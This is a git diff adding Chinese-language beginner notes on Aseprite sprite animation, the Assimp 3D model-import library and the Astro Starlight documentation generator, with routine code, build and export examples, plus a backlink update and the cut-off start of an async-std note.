+### 6. Tags（帧标签）
+
+在时间轴上选中连续帧 → 右键 **New Tag**，命名如 `idle`、`run`。导出时可 `--tag "run"` 只烘跑步段，或 `--split-tags` 按标签拆成多个 GIF。JSON 元数据里含 `frameTags: [{ name, from, to }]`，运行时按名播放状态机。
+
+### 7. Slices（切片）
+
+在图像上框选命名区域（如 `cursor`、`button_normal`），导出 UI 精灵或 `--slice` 裁切。适合同一文件里放多枚图标。
+
+### 8. 精灵表（Sprite Sheet）
+
+把多帧（或多图层、多文件）排进一张 PNG，配套 JSON 记录每帧 `frame: { x, y, w, h }`、`duration`、`sourceSize`。布局算法：`horizontal`、`packed`（省空白）、固定 `1024×1024` 等。游戏引擎（Godot AnimatedSprite2D、Phaser、Raylib 等）读 JSON 即可。
+
+---
+
+## 零基础上手流程
+
+1. **新建**：File → New，设 32×32 或角色实际尺寸，选 RGBA 或 Indexed  
+2. **画第一帧**：铅笔（`B`）开启 **Pixel-perfect**；调色板窗口管理色板  
+3. **加帧**：时间轴 `Alt+N` 或点击 New Frame，洋葱皮对照前一帧改像素  
+4. **分层**：身体一层、装备一层；隐藏层不参与默认导出  
+5. **打标签**：选中走路所有帧 → Tag `walk`  
+6. **导出**：File → Export Sprite Sheet，或 CLI 批处理（见下）  
+7. **进引擎**：把 `sheet.png` + `sheet.json` 丢进 [[godot]] / [[phaser]] / [[raylib]] 动画组件
+
+快捷键备忘：`Space` 播放预览、`Tab` 全屏画布、`Ctrl+Shift+E` 导出、`[` `]` 切帧。
+
+---
+
+## 代码示例
+
+### 示例 1：Lua 脚本——批量生成行走循环并标帧时长
+
+Aseprite 内置 **File → Scripts → Open Scripts Folder**，`.lua` 文件可 GUI 运行，也可 `aseprite -b --script walk.lua` 批处理。下面脚本新建 32×32 精灵、画 4 帧色块模拟走路、统一每帧 0.08 秒：
+
+```lua
+-- walk_cycle.lua：生成 4 帧占位行走循环
+local sprite = Sprite(32, 32, ColorMode.RGB)
+local colors = {
+  Color{ r=80, g=160, b=255 },
+  Color{ r=80, g=140, b=230 },
+  Color{ r=80, g=160, b=255 },
+  Color{ r=100, g=180, b=255 },
+}
+
+for i = 1, #colors do
+  if i > 1 then
+    sprite:newFrame()
+  end
+  app.activeFrame = sprite.frames[i]
+  app.activeSprite = sprite
+    -- 每帧画一个水平偏移的矩形，模拟重心左右移
+  local offset = (i - 1) * 2
+  app.useTool{
+    tool = 'filled_rectangle',
+    color = colors[i],
+    brush = Brush(1),
+    points = { Point(8 + offset, 12), Point(24 + offset, 28) }
+  }
+  sprite.frames[i].duration = 0.08
+end
+
+-- 给帧范围打 Tag，方便 CLI --tag 导出
+app.command.NewTag{
+  fromFrame = 1,
+  toFrame = #sprite.frames,
+  name = 'walk',
+  aniDir = 'forward'
+}
+
+print(string.format('Created %d-frame walk cycle', #sprite.frames))
+```
+
+要点：`app.useTool` 模拟用户笔触；`sprite:newFrame()` 复制上一帧所有 Cel 再改；Tag 与引擎状态机名称对齐可减少手写 JSON。
+
+### 示例 2：CLI 导出精灵表 + JSON（进游戏管线）
+
+改完 `hero.aseprite` 后，在 CI 或本地 `Makefile` 里一条命令重新烘图集：
+
+```bash
+#!/usr/bin/env bash
+# export-hero.sh — 从 Aseprite 工程导出 packed 精灵表
+ASEPRITE="${ASEPRITE:-/Applications/Aseprite.app/Contents/MacOS/aseprite}"
+
+"$ASEPRITE" -b \
+  --ignore-empty \
+  --trim \
+  --sheet-pack \
+  --sheet-type packed \
+  --border-padding 1 \
+  --shape-padding 1 \
+  --extrude \
+  --tag "walk" \
+  --list-tags \
+  --data "dist/hero-walk.json" \
+  --format json-hash \
+  --sheet "dist/hero-walk.png" \
+  "assets/hero.aseprite"
+```
+
+`json-hash` 输出大致结构（引擎按 `frames` 字典加载）：
+
+```json
+{
+  "frames": {
+    "hero.aseprite 0": {
+      "frame": { "x": 1, "y": 1, "w": 30, "h": 30 },
+      "duration": 80,
+      "sourceSize": { "w": 32, "h": 32 }
+    }
+  },
+  "meta": {
+    "frameTags": [{ "name": "walk", "from": 0, "to": 3 }],
+    "size": { "w": 128, "h": 32 }
+  }
+}
+```
+
+`duration` 单位为毫秒；`--extrude` 在图集里复制边缘 1px，减轻线性过滤时的缝隙线（bleeding）。多分辨率可链式 `--scale 2` 再 `--save-as`。
+
+### 示例 3（补充）：带对话框的用户脚本骨架
+
+交互式工具用 `Dialog` 收集参数，适合团队内小插件：
+
+```lua
+local dlg = Dialog{ title = "批量改帧长" }
+dlg:number{ id = "fps", label = "FPS", text = "12", decimals = 0 }
+dlg:button{ id = "ok", text = "Apply" }
+dlg:button{ id = "cancel", text = "Cancel" }
+dlg:show()
+
+if dlg.data.ok and app.activeSprite then
+  local dur = 1.0 / dlg.data.fps
+  for _, frame in ipairs(app.activeSprite.frames) do
+    frame.duration = dur
+  end
+end
+```
+
+---
+
+## 与游戏引擎的衔接
+
+| 引擎 / 工具 | 典型用法 |
+|---|---|
+| **Godot 4** | 导入 PNG 序列或配合 JSON；AnimatedSprite2D / SpriteFrames |
+| **Phaser 3** | `this.load.atlas('hero', 'sheet.png', 'sheet.json')` |
+| **Unity** | 第三方 Aseprite 导入器，或 CLI 出图集后当 Texture2D |
+| **LÖVE / [[love2d]]** | `anim8` 等库读精灵表网格或 JSON |
+| **[[tiled]]** | 图块集 PNG 常在 Aseprite 里画好再导入 Tiled |
+| **[[piskel]]** | 浏览器轻量替代；复杂时间轴与 CLI 仍以 Aseprite 为准 |
+
+命名约定：图层名、Tag 名、导出文件名与代码里状态机枚举一致（如 `PLAYER_RUN` ↔ tag `run`），比死记帧号更易维护。
+
+---
+
+## 许可与生态说明
+
+- **源码**：GitHub 可阅可编译，整体受 [EULA](https://github.com/aseprite/aseprite/blob/main/EULA.txt) 约束，并非整仓 MIT  
+- **购买**：Steam 或官网；教育场景可申请教育许可  
+- **社区**：[community.aseprite.org](https://community.aseprite.org/)、Discord、大量 Lua 插件（[aseprite-community](https://github.com/aseprite/aseprite-community)）  
+- **纯 OSS 分叉**：LibreSprite 适合无法接受 EULA 的发行场景，功能略滞后
+
+---
+
+## 常见坑与建议
+
+1. **忘记 Pixel-perfect**：斜线用普通铅笔会出脏像素；开启 Pixel Perfect 或用手动 Bresenham  
+2. **索引色透明色**：Indexed 模式「透明」是调色板中的一个索引，导出 GIF 时与引擎约定一致  
+3. **图集缝隙**：GPU 线性过滤时在图集加 `--extrude` 或引擎里用 Nearest  
+4. **隐藏层被导出**：默认忽略隐藏层；需要时用 `--all-layers`  
+5. **帧 0 vs 1**：脚本 API 帧号从 **1** 开始；JSON `from`/`to` 常为 **0** 起，对接时别混  
+6. **大图分辨率**：角色源文件按逻辑像素画（如 32×32），缩放用 `--scale` 生成 `@2x`，勿在画布上直接画 128×128 再缩小  
+7. **版本控制**：`.aseprite` 是二进制，Git 用 LFS 或只提交导出 PNG/JSON；合并冲突靠「一人改一角色」分工
+
+---
+
+## 延伸学习
+
+- 官方：[Timeline 文档](https://www.aseprite.org/docs/timeline/)、[Sprite Sheet](https://www.aseprite.org/docs/sprite-sheet/)、[CLI](https://www.aseprite.org/docs/cli/)、[Scripting](https://www.aseprite.org/docs/scripting/)  
+- API 仓库：[aseprite/api](https://github.com/aseprite/api)  
+- 练习：8×8 或 16×16 单色行走循环 → 加一帧攻击 Tag → CLI 导出 → 在 [[phaser]] 或 Godot 里播放  
+- 相关笔记：[[gimp]]（通用位图）、[[tiled]]（关卡）、[[piskel]]（Web 像素）、[[dragonbones]] / [[spine-runtimes]]（骨骼 2D 另一路线）
+
+---
+
+## 小结
+
+Aseprite 把「翻页小人」升级为可版本管理、可脚本化、可进 CI 的像素动画生产工具：**图层管组合，帧管时间，Tag 管语义，CLI 管导出**。零基础先画清一个 4 帧循环并成功导出一张 `sheet.png` + JSON，比死记快捷键更能建立直觉；之后无论是独立游戏角色还是 UI 像素图标，都在同一套时间轴思维里扩展。
diff --git a/src/content/docs/projects/assimp.md b/src/content/docs/projects/assimp.md
new file mode 100644
index 000000000..50f6945f7
--- /dev/null
+++ b/src/content/docs/projects/assimp.md
@@ -0,0 +1,349 @@
+---
+title: Assimp — Open Asset Import Library 统一 3D 模型导入
+description: 40+ 种 3D 格式读入统一 aiScene 内存结构，FBX/OBJ/glTF 通吃，引擎与工具链的模型导入标配
+来源: 'https://github.com/assimp/assimp'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Assimp**（Open Asset Import Library）是一个用 C++ 实现的开源库，把 **40 多种 3D 文件格式**（OBJ、FBX、glTF、COLLADA、STL、3DS、PLY 等）读进**同一套内存数据结构**，让你不用为每种格式单独写解析器。源码托管于 [assimp/assimp](https://github.com/assimp/assimp)，采用宽松的 **3-clause BSD** 许可，可静态链接进商业引擎。
+
+日常类比：3D 资产就像来自不同国家的**快递包裹**——有的用纸箱（OBJ），有的用木箱（FBX），有的用压缩袋（glTF）。Assimp 是**统一分拣中心**：不管外包装长什么样，拆开后都按同一套清单登记——有几件货（mesh）、放在哪个货架层级（node tree）、贴什么标签（material）、有没有动画说明书（animation）。你的游戏引擎或渲染器只认这份清单，不必再雇 40 个「各国报关员」。
+
+最小 C++ 导入示例：
+
+```cpp
+#include <assimp/Importer.hpp>
+#include <assimp/scene.h>
+#include <assimp/postprocess.h>
+#include <iostream>
+
+int main() {
+    Assimp::Importer importer;
+    const aiScene* scene = importer.ReadFile(
+        "models/robot.obj",
+        aiProcess_Triangulate | aiProcess_FlipUVs | aiProcess_GenNormals
+    );
+
+    if (!scene || scene->mFlags & AI_SCENE_FLAGS_INCOMPLETE) {
+        std::cerr << importer.GetErrorString() << "\n";
+        return 1;
+    }
+
+    std::cout << "meshes: " << scene->mNumMeshes
+              << " materials: " << scene->mNumMaterials << "\n";
+    return 0;
+}
+```
+
+`ReadFile` 成功返回 `aiScene*`；失败时 `GetErrorString()` 给出原因。`Importer` 析构时会自动释放场景内存——**不必手动 delete**。
+
+## 为什么重要
+
+零基础做 3D 工具或游戏，绕不开 Assimp 的几个现实理由：
+
+- **格式碎片化是常态**：美术用 Blender 导出 FBX，TA 给 glTF，CAD 遗留 STL——引擎侧若只支持 OBJ，协作立刻卡死
+- **引擎普遍内嵌或依赖 Assimp**：[[godot]]、Ogre、许多 indie 引擎、离线烘焙工具链都在底层或可选路径上使用 Assimp 或受其数据结构启发
+- **后处理管线省掉大量脏活**：三角化、法线生成、切线空间、合并重复顶点、优化顶点缓存——这些在 `ReadFile` 的 flags 里一行声明
+- **C API + 多语言绑定**：除 C++ 外有 C 接口，以及 Python（PyAssimp）、.NET、Rust（russimp）等 port，工具脚本也能用
+- **与 DCC 分工清晰**：[[blender]] 负责创作与导出；Assimp 负责**运行时/管线里**把文件变成程序能遍历的网格与材质
+
+## 核心要点
+
+Assimp 的心脏可以按「从文件到可渲染数据」顺序理解：
+
+### 1. Importer — 唯一入口
+
+`Assimp::Importer` 负责：读磁盘 → 调用对应格式 loader → 可选跑 post-process 链 → 返回 `aiScene*`。同一 `Importer` 实例可多次 `ReadFile`，但**前一次场景会被释放**。类比：一台多功能扫描仪，每次扫完上一张图就从内存清掉。
+
+### 2. aiScene — 场景根节点
+
+`aiScene` 是一棵数据的根，主要成员：
+
+| 成员 | 含义 |
+| --- | --- |
+| `mRootNode` | 场景图根，带变换矩阵与子节点 |
+| `mMeshes[]` | 网格数组，顶点/面/法线/UV |
+| `mMaterials[]` | 材质参数与纹理路径 |
+| `mAnimations[]` | 骨骼/节点动画曲线 |
+| `mTextures[]` | 内嵌纹理（部分格式） |
+| `mLights` / `mCameras` | 灯光与相机（若文件含） |
+
+### 3. 节点树（Node Tree）
+
+`aiNode` 形成层次结构：每个节点有 `mName`、`mTransformation`（4×4 矩阵）、`mMeshes[]`（引用 mesh 索引）、`mChildren[]`。类比：舞台布景的**父子挂点**——「车门」是「车身」的子节点，开门动画只改子节点变换。
+
+### 4. aiMesh — 几何数据
+
+单个 mesh 包含：
+
+- `mVertices` — 顶点位置（`aiVector3D`）
+- `mNormals` — 法线（可后处理生成）
+- `mTextureCoords[0]` — UV（最多 8 套）
+- `mFaces` — 面；每面 `mNumIndices` + `mIndices`
+- `mMaterialIndex` — 指向 `mMaterials`
+
+Assimp **不保证**读入就是三角形；若你的渲染 API 只接受三角面，务必加 `aiProcess_Triangulate`。
+
+### 5. 后处理标志（Post-Processing Flags）
+
+常用组合（按位 OR）：
+
+| 标志 | 作用 |
+| --- | --- |
+| `aiProcess_Triangulate` | 多边形转三角面 |
+| `aiProcess_GenNormals` | 缺失时生成法线 |
+| `aiProcess_GenUVCoords` | 缺失时生成 UV |
+| `aiProcess_FlipUVs` | 翻转 V 坐标（OpenGL 惯例） |
+| `aiProcess_CalcTangentSpace` | 法线贴图需要的切线/副切线 |
+| `aiProcess_JoinIdenticalVertices` | 焊接重复顶点 |
+| `aiProcess_OptimizeMeshes` | 合并小 mesh 减少 draw call |
+| `aiProcess_PreTransformVertices` | 把节点变换烘焙进顶点（静态场景） |
+
+预设「给我能直接丢进 OpenGL 的网格」常写：
+
+```cpp
+unsigned int flags =
+    aiProcess_Triangulate |
+    aiProcess_GenSmoothNormals |
+    aiProcess_FlipUVs |
+    aiProcess_CalcTangentSpace |
+    aiProcess_JoinIdenticalVertices;
+```
+
+### 6. 材质与纹理
+
+`aiMaterial` 用键值对存属性（漫反射色、金属度、贴图路径等），通过 `Get()` 按 `aiTextureType_DIFFUSE` 等枚举读取。纹理文件路径常为**相对模型目录**——若贴图找不到，检查工作目录或实现自定义 `IOSystem` 做虚拟文件系统（打包资源时用）。
+
+### 7. C API 与生命周期
+
+C 接口等价于：
+
+```c
+#include <assimp/cimport.h>
+#include <assimp/scene.h>
+#include <assimp/postprocess.h>
+#include <stdio.h>
+
+int main(void) {
+    const struct aiScene *scene = aiImportFile(
+        "models/robot.obj",
+        aiProcess_Triangulate | aiProcess_FlipUVs
+    );
+    if (!scene) {
+        const char *err = aiGetErrorString();
+        fprintf(stderr, "import failed: %s\n", err ? err : "unknown");
+        return 1;
+    }
+
+    printf("mesh count: %u\n", scene->mNumMeshes);
+
+    aiReleaseImport(scene);  /* C API 必须手动释放 */
+    return 0;
+}
+```
+
+C++ 用 RAII（`Importer` 析构）；C 用 `aiReleaseImport()`——**成对调用**，否则泄漏。
+
+## 实践案例
+
+### 案例 1：递归遍历场景图并统计三角面
+
+理解 node tree 的最小练习——打印每个 mesh 引用与面数：
+
+```cpp
+#include <assimp/Importer.hpp>
+#include <assimp/scene.h>
+#include <assimp/postprocess.h>
+#include <cstdio>
+
+void walk(const aiNode* node, const aiScene* scene, int depth = 0) {
+    for (unsigned i = 0; i < depth; ++i) std::printf("  ");
+    std::printf("node: %s\n", node->mName.C_Str());
+
+    for (unsigned m = 0; m < node->mNumMeshes; ++m) {
+        const aiMesh* mesh = scene->mMeshes[node->mMeshes[m]];
+        unsigned tris = 0;
+        for (unsigned f = 0; f < mesh->mNumFaces; ++f)
+            tris += mesh->mFaces[f].mNumIndices >= 3 ? mesh->mFaces[f].mNumIndices - 2 : 0;
+        std::printf("    mesh[%u] vertices=%u faces=%u (~%u tris)\n",
+                    node->mMeshes[m], mesh->mNumVertices, mesh->mNumFaces, tris);
+    }
+    for (unsigned c = 0; c < node->mNumChildren; ++c)
+        walk(node->mChildren[c], scene, depth + 1);
+}
+
+int main() {
+    Assimp::Importer importer;
+    const aiScene* scene = importer.ReadFile(
+        "character.fbx",
+        aiProcess_Triangulate | aiProcess_PreTransformVertices
+    );
+    if (!scene) return 1;
+    walk(scene->mRootNode, scene);
+    return 0;
+}
+```
+
+`PreTransformVertices` 适合静态关卡——顶点已在世界空间，渲染时可忽略节点矩阵；**骨骼动画模型不要用**，否则蒙皮信息被破坏。
+
+### 案例 2：导出 interleaved 顶点缓冲（对接 OpenGL/Vulkan）
+
+把第一个 mesh 抽成 `{position, normal, uv}` 交错数组，便于上传 GPU：
+
+```cpp
+#include <assimp/Importer.hpp>
+#include <assimp/scene.h>
+#include <assimp/postprocess.h>
+#include <vector>
+
+struct Vertex {
+    float px, py, pz;
+    float nx, ny, nz;
+    float u, v;
+};
+
+std::vector<Vertex> loadInterleaved(const char* path) {
+    Assimp::Importer importer;
+    const aiScene* scene = importer.ReadFile(path,
+        aiProcess_Triangulate | aiProcess_GenSmoothNormals | aiProcess_FlipUVs);
+
+    if (!scene || !scene->mNumMeshes)
+        throw std::runtime_error(importer.GetErrorString());
+
+    const aiMesh* mesh = scene->mMeshes[0];
+    std::vector<Vertex> out(mesh->mNumVertices);
+
+    for (unsigned i = 0; i < mesh->mNumVertices; ++i) {
+        out[i].px = mesh->mVertices[i].x;
+        out[i].py = mesh->mVertices[i].y;
+        out[i].pz = mesh->mVertices[i].z;
+        out[i].nx = mesh->mNormals[i].x;
+        out[i].ny = mesh->mNormals[i].y;
+        out[i].nz = mesh->mNormals[i].z;
+        if (mesh->mTextureCoords[0]) {
+            out[i].u = mesh->mTextureCoords[0][i].x;
+            out[i].v = mesh->mTextureCoords[0][i].y;
+        } else {
+            out[i].u = out[i].v = 0.f;
+        }
+    }
+    return out;
+}
+```
+
+索引缓冲需另扫 `mesh->mFaces` 收集 `mIndices`。多 mesh 场景应**每个 mesh 一套 VBO/EBO**，或 CPU 阶段合并并记录 material 区间。
+
+### 案例 3：命令行快速验模型
+
+编译 Assimp 后自带 CLI 工具 `assimp`（在 `tools/assimp_cmd`）：
+
+```bash
+# 查看格式支持与版本
+assimp version
+
+# 转成 Assimp 自有二进制 assbin，加载更快
+assimp export model.fbx out.assbin
+
+# 列出场景信息（mesh/材质/动画概览）
+assimp info model.gltf
+```
+
+CI 里用 `assimp info` 做**资产 smoke test**，比拉整引擎更轻。
+
+## 构建与集成
+
+典型 CMake 集成（vcpkg / 系统包均可）：
+
+```cmake
+find_package(assimp CONFIG REQUIRED)
+add_executable(demo main.cpp)
+target_link_libraries(demo PRIVATE assimp::assimp)
+```
+
+源码构建（官方 quickstart）：
+
+```bash
+git clone https://github.com/assimp/assimp
+cd assimp
+cmake -G Ninja -DASSIMP_BUILD_TESTS=OFF -S . -B build
+cmake --build build
+```
+
+可通过 `-DASSIMP_BUILD_ZLIB=ON` 等选项裁剪不需要的格式 importer，缩小二进制体积。
+
+## 踩过的坑
+
+1. **忘记 Triangulate**：读入四边面直接当三角面渲染，索引错乱出现破面。
+
+2. **UV 原点不一致**：DirectX 与 OpenGL V 轴相反；OpenGL 常加 `aiProcess_FlipUVs`，否则贴图上下颠倒。
+
+3. **相对路径贴图丢失**：FBX/OBJ 引用的 `.png` 不在 cwd——实现自定义 `IOSystem` 或导出前烘焙内嵌纹理。
+
+4. **对蒙皮模型用 PreTransformVertices**：顶点烘焙后骨骼权重失效，角色变「静态雕塑」。
+
+5. **C API 忘记 aiReleaseImport**：长时间跑批处理脚本内存线性涨。
+
+6. **格式≠功能完整**：同一扩展名不同 DCC 导出差异大；glTF 2.0 PBR 支持较好，老 COLLADA 文件可能缺切线。
+
+7. **与 [[blender]] 导出设置**：Blender 导出 FBX/glTF 时的「应用变换」「三角面」「仅选中对象」会影响 Assimp 读到的节点树——问题常在导出端而非 Assimp 本身。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 游戏/可视化引擎的**通用模型加载器**
+- 离线管线：格式转换、面数统计、LOD 预处理
+- 工具链：资产校验、批量三角化/法线生成
+- 学习 3D 文件内部结构（场景图、蒙皮、动画曲线）
+
+**不适用**：
+
+- 实时编辑 DCC（用 [[blender]] 等）
+- 仅单一格式且已有专用 SDK（如只用官方 glTF-Sample-Viewer 生态且不需 FBX）
+- 超大规模流式开放世界**运行时**加载（需自定义 chunk + GPU 流式，Assimp 更适合一次性导入）
+- 生产渲染农场的核心格式（USD 生态有专用库；Assimp 对 USD 支持在演进中，需查当前版本文档）
+
+## 历史小故事（可跳过）
+
+- **2006**：Kim Kulling 发起项目，目标解决 Ogre 等引擎「每种格式一个 loader」的重复劳动
+- **2010s**：成为事实上的开源模型导入标准，被无数引擎、工具 fork 或 vendor
+- **2020s**：glTF 2.0、3MF、PBR 材质路径持续完善；GitHub star 约 11k+，社区驱动维护 40+ importer
+- **许可**：BSD 允许静态链接，与 GPL 引擎（需动态链接或替代 loader）组合时要单独评估
+
+## 学到什么
+
+1. **Assimp 的价值是「统一中间表示」**，不是替代 DCC 或渲染器
+2. **`aiScene` + 节点树 + mesh/material 三分法**是读任何格式的通用地图
+3. **后处理 flags 要在 ReadFile 时一次性声明**，比读入后再自己三角化省事
+4. **C++ Importer RAII vs C API 手动释放**——选一种风格并坚持到底
+5. **导入失败先查导出设置和贴图路径**，再怀疑 Assimp bug
+
+## 延伸阅读
+
+- 官方文档：[The Asset Importer Lib Documentation](https://the-asset-importer-lib-documentation.readthedocs.io/en/latest/)
+- 支持格式完整列表：[doc/Fileformats.md](https://github.com/assimp/assimp/blob/master/doc/Fileformats.md)
+- 构建说明：[Build.md](https://github.com/assimp/assimp/blob/master/Build.md)
+- 测试模型库：[assimp-mdb](https://github.com/assimp/assimp-mdb)
+
+## 关联
+
+- [[blender]] —— 常见导出源（FBX / glTF / OBJ）
+- [[godot]] —— 引擎侧导入管线与 Assimp 场景概念相通
+- [[raylib]] —— `LoadModel()` 等 API 底层可接 Assimp 类数据
+- [[opencv]] —— 纹理处理、预览缩略图可配合使用
+- [[ffmpeg]] —— 与 3D 无关，但音视频+3D 预览管线常并存
+- [[playcanvas]] / [[three-js]] —— Web 侧 glTF 原生路径与 Assimp 离线转换互补
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[draco]] —— Draco — Google 3D 网格与点云压缩
+- [[gltf-transform]] —— glTF Transform — glTF 资产工具链
+
diff --git a/src/content/docs/projects/ast-grep.md b/src/content/docs/projects/ast-grep.md
index 0e8ac1ac6..ab2533fd1 100644
--- a/src/content/docs/projects/ast-grep.md
+++ b/src/content/docs/projects/ast-grep.md
@@ -173,9 +173,11 @@ sg --pattern 'request($URL, $OPTS)' \
 - [[claude-code]] —— Claude Code — Anthropic 终端编程助手
 - [[dive]] —— dive — 看清 Docker 镜像每一层加了什么文件的 TUI
 - [[kakoune]] —— Kakoune — 多光标优先模态编辑器
+- [[language-server-protocol-spec]] —— Language Server Protocol — 让编辑器共享同一套「语言大脑」的 USB 协议
 - [[nvchad]] —— NvChad — 极致美观的 Neovim 配置框架
 - [[ripgrep]] —— ripgrep — Rust 写的现代 grep
 - [[swc]] —— SWC — Rust 写的 TS/JS 编译器
 - [[the-silver-searcher]] —— the_silver_searcher (ag) — 比 grep/ack 快一个数量级的代码搜索
+- [[tree-sitter-2018]] —— Tree-sitter — 增量式解析系统
 - [[universal-ctags]] —— Universal Ctags — 老牌符号索引器，编辑器跳转到定义的底层引擎
 
diff --git a/src/content/docs/projects/astro-starlight.md b/src/content/docs/projects/astro-starlight.md
new file mode 100644
index 000000000..30a4346ab
--- /dev/null
+++ b/src/content/docs/projects/astro-starlight.md
@@ -0,0 +1,228 @@
+---
+title: Astro Starlight — 从零搭建文档站
+来源: https://starlight.astro.build/
+日期: 2026-06-13
+分类: 后端 API
+子分类: 前端框架
+provenance: pipeline-v3
+---
+
+## 一句话理解 Starlight
+
+想象你要建一座图书馆。
+
+传统做法：你自己打地基、砌墙、刷漆、装灯、摆书架——每个细节都要操心。
+
+Starlight 的做法：有人已经帮你把整座图书馆建好了。你只需要搬书进去，告诉它书名和目录。
+
+Starlight 就是这样一个"图书馆"——它是 Astro 官方推出的**文档站点生成器**。你用 Markdown 写内容，它负责把内容变成漂亮、快速、可搜索的文档网站。
+
+## 它是怎么来的？
+
+Starlight 建立在 Astro 之上。Astro 是一个"岛屿架构"的 web 框架——默认输出纯 HTML，只在需要交互的地方加载 JavaScript。Starlight 继承了这一特性，所以生成的文档站天生就快。
+
+## 核心概念
+
+### 1. 内容集合 (Content Collections)
+
+Starlight 使用 Astro 的内容集合系统来管理文档。所有文档放在 `src/content/docs/` 目录下，每个 `.md` 或 `.mdx` 文件就是一篇文档。
+
+文件路径自动变成 URL：
+
+```
+src/content/docs/getting-started.md    →  /docs/getting-started
+src/content/docs/tutorial/intro.md     →  /docs/tutorial/intro
+src/content/docs/api/reference.md      →  /docs/api/reference
+```
+
+每篇文档顶部有一个 YAML frontmatter，用来写标题和元数据：
+
+```yaml
+---
+title: 快速开始
+description: 五分钟上手 Starlight
+---
+```
+
+### 2. 配置文件 (starlight.config.ts)
+
+项目根目录创建一个 `astro.config.mjs`，在里面引入 Starlight 插件：
+
+```js
+import { defineConfig } from 'astro/config';
+import starlight from '@astrojs/starlight';
+
+export default defineConfig({
+  integrations: [
+    starlight({
+      title: '我的文档站',
+      sidebar: [
+        {
+          label: '指南',
+          items: [
+            { label: '快速开始', link: '/getting-started' },
+            { label: '配置', link: '/configuration' },
+          ],
+        },
+        {
+          label: '参考',
+          items: [
+            { label: 'API 参考', link: '/api/reference' },
+          ],
+        },
+      ],
+    }),
+  ],
+});
+```
+
+这里最关键的是 `title`（必填）和 `sidebar`（侧边栏导航）。你也可以让 Starlight 根据文件路径自动生成侧边栏，不用手动写。
+
+### 3. 主题切换
+
+Starlight 内置了亮色/暗色主题切换功能，用户点一下按钮就能切换。你不需要自己写 CSS 变量。
+
+### 4. 内置搜索
+
+Starlight 集成了 Pagefind 搜索引擎。用户按 `Ctrl+K`（Mac 上是 `Cmd+K`）就能弹出搜索框，全站内容秒搜。
+
+### 5. 扩展性
+
+Starlight 不是封闭的。你可以用 React、Vue、Svelte 等组件来扩展页面。比如加一个交互式代码演示、一个实时预览面板，完全没问题。
+
+## 代码示例
+
+### 示例一：从零创建项目
+
+运行一条命令就能搭好骨架：
+
+```bash
+npm create astro@latest my-docs -- --template starlight
+```
+
+这条命令会：
+1. 创建一个叫 `my-docs` 的新目录
+2. 安装 Astro + Starlight 依赖
+3. 生成 `astro.config.mjs`、`src/content/docs/`、`src/content/config.ts` 等必要文件
+4. 生成一篇示例文档 `getting-started.md`
+
+然后：
+
+```bash
+cd my-docs
+npm run dev
+```
+
+打开 `http://localhost:4321`，就能看到你的文档站了。
+
+### 示例二：自定义配置 + 扩展 frontmatter
+
+Starlight 允许你在文档 frontmatter 里添加自定义字段，通过 `docsSchema` 实现类型安全：
+
+```ts
+// src/content/config.ts
+import { defineCollection, z } from 'astro:content';
+import { docsSchema } from '@astrojs/starlight/schema';
+
+export const collections = {
+  docs: defineCollection({ schema: docsSchema() }),
+};
+```
+
+如果你想加一个 `author` 字段，可以这样扩展：
+
+```ts
+import { defineCollection, z } from 'astro:content';
+import { docsSchema } from '@astrojs/starlight/schema';
+
+export const collections = {
+  docs: defineCollection({
+    schema: docsSchema().extend({
+      author: z.string(),
+      updated: z.date().optional(),
+    }),
+  }),
+};
+```
+
+然后在文档里就可以用了：
+
+```yaml
+---
+title: 安装指南
+author: Jason
+updated: 2026-06-13
+---
+
+本文最后更新于 2026 年 6 月 13 日。
+```
+
+如果忘了写 `author`，TypeScript 会在开发时给你报错——这就是类型安全的价值。
+
+### 示例三：添加自定义组件
+
+假设你想在文档里放一个可交互的按钮计数器，用 React 写：
+
+```tsx
+// src/components/Counter.tsx
+export default function Counter() {
+  let [count, setCount] = useState(0);
+  return (
+    <div style={{ padding: '1rem', border: '1px solid #ccc', borderRadius: '8px' }}>
+      <p>当前计数: {count}</p>
+      <button onClick={() => setCount(count + 1)}>+1</button>
+    </div>
+  );
+}
+```
+
+然后在文档里直接引用：
+
+```md
+---
+title: 交互示例
+---
+
+下面是一个简单的计数器组件：
+
+<Counter />
+```
+
+Starlight 会自动把这个 React 组件渲染到文档中。组件只在点击时才加载 JavaScript，不影响页面的初始加载速度。
+
+## 关键特性速览
+
+- **零 JS 默认**：文档页面默认不加载任何 JavaScript，加载速度极快
+- **暗色模式**：一键切换，自动跟随系统偏好
+- **响应式布局**：手机、平板、桌面端都好看
+- **SEO 友好**：自动生成 sitemap、Open Graph 标签
+- **多语言支持**：内置国际化 (i18n)，一个站支持多种语言
+- **全键盘操作**：`Ctrl+K` 搜索，`←` `→` 翻页
+- **TypeScript 类型安全**：frontmatter 字段有完整的类型检查
+- **可插拔**：用 Astro 集成生态扩展功能
+
+## 和同类工具对比
+
+| 特性 | Starlight | Docusaurus | VitePress |
+|------|-----------|------------|-----------|
+| 底层框架 | Astro | React | Vite + Vue |
+| 默认无 JS | 是 | 否 | 部分 |
+| 组件扩展 | React/Vue/Svelte | 仅 React | 仅 Vue |
+| 构建速度 | 快（Astro  islands） | 中等 | 快 |
+| 社区规模 | 快速增长 | 大 | 大 |
+
+Starlight 的优势在于：如果你已经在用 Astro，或者想要框架无关的组件能力，它是最佳选择。
+
+## 总结
+
+Starlight 的理念很简单：**你写 Markdown，它搞定其余一切**。
+
+不需要配置 webpack，不需要调 CSS 变量，不需要手写导航栏。写几篇文档，跑一下 `npm run build`，一个生产级别的文档站就出来了。
+
+对于零基础学习者来说，Starlight 是最友好的文档生成器之一——它的学习曲线几乎只取决于你写 Markdown 的速度。
+
+## 参考
+
+- Starlight 官网：https://starlight.astro.build/
+- Astro 官网：https://astro.build/
+- GitHub：https://github.com/withastro/starlight
diff --git a/src/content/docs/projects/async-std.md b/src/content/docs/projects/async-std.md
new file mode 100644
index 000000000..d6b573bc2
--- /dev/null
+++ b/src/content/docs/projects/async-std.md
@@ -0,0 +1,253 @@
+---
+title: async-std — std 风格 API 的异步运行时
+来源: https://github.com/async-rs/async-std
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# async-std — std 风格 API 的异步运行时
+
+## 一、从日常类比说起
+
+想象你在一家餐厅工作。
+
